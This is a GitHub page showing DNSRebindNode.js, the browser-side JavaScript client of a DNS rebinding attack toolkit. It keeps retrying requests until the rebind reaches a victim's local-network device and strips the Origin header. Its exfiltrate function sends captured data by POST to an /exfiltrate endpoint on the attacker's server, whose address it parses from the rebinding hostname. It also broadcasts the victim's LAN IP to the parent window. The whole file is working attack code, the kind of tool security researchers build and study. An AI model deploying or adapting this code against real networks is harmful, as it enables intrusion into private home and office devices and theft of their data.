forked from brannondorsey/dns-rebind-toolkit
-
Notifications
You must be signed in to change notification settings - Fork 7
/
DNSRebindNode.js
106 lines (87 loc) · 3.34 KB
/
DNSRebindNode.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
class DNSRebindNode {
static fetchOptions() {
return {
method: "GET",
headers: {
// this doesn't work in all browsers
"Origin": "", //unset the origin header
"Pragma": "no-cache",
"Cache-Control": "no-cache"
},
cache: "no-cache"
}
}
static async rebind(url, options) {
options = options || {}
options.backoff = options.backoff || 1000 // 1, 2, 4, 8, 16, 32, 64 seconds
options.fetchOptions = options.fetchOptions || DNSRebindNode.fetchOptions()
const result = await fetch(url, options.fetchOptions)
// The rebind successPredicate(...) is true or we got a 200 OK,
// the rebind was successful
if ((options.successPredicate && options.successPredicate(result)) ||
(!options.successPredicate && result.status == 200)) {
DNSRebindNode.emit('rebind', true)
return result
// we are still communicating with the DNS Rebind Toolkit server,
// keep trying...
} else if (result.headers.get('Server') == 'DNS Rebind Toolkit Server') {
if (options.backoff <= 64000) {
options.backoff *= 2
await DNSRebindNode.timeout(options.backoff)
return await DNSRebindNode.rebind(url, options, options.backoff)
}
}
// the rebind failed
return Promise.reject(Error('Error during rebind. Host may be down.'))
}
static async exfiltrate(name, data, type) {
// e.g. get '52.11.130.20' from
// 'A.52.11.130.20.1time.192.168.1.1.forever.rebind.network'
let host = location.host.split('.1time')[0].replace(/[Aa]\./, '')
// if this host has a port, add that
if (location.host.split(':').length > 1) {
host = `${host}:${location.host.split(':')[1]}`
}
// make exfiltrate POST requests to /exfiltrate
const url = `http://${host}/exfiltrate`
type = (type || 'json').toLowerCase()
if (!['json', 'xml', 'txt'].includes(type)) {
throw Error(`type parameter must be "json", "xml", or "txt" not ${type}`)
}
const options = DNSRebindNode.fetchOptions()
options.headers['Content-Type'] = 'application/json'
options.method = 'POST'
options.body = JSON.stringify({
name,
data,
type
})
try {
const response = await fetch(url, options)
if (response.ok) {
DNSRebindNode.emit('exfiltrate', data)
return Promise.resolve()
} else {
console.error(response)
return Promise.reject(Error('Exfiltrate failed'))
}
} catch (err) {
return Promise.reject(err)
}
}
static destroy() {
DNSRebindNode.emit('destroy')
}
static emit(name, data) {
let ip = null
// parse the LAN IP from the host
try { ip = location.host.split('1time.')[1].split('.forever')[0] }
catch (err){}
window.parent.postMessage({name, ip, data}, '*')
}
static timeout(millis) {
return new Promise(resolve => setTimeout(resolve, millis))
}
}
// emit a begin message on script load
DNSRebindNode.emit('begin')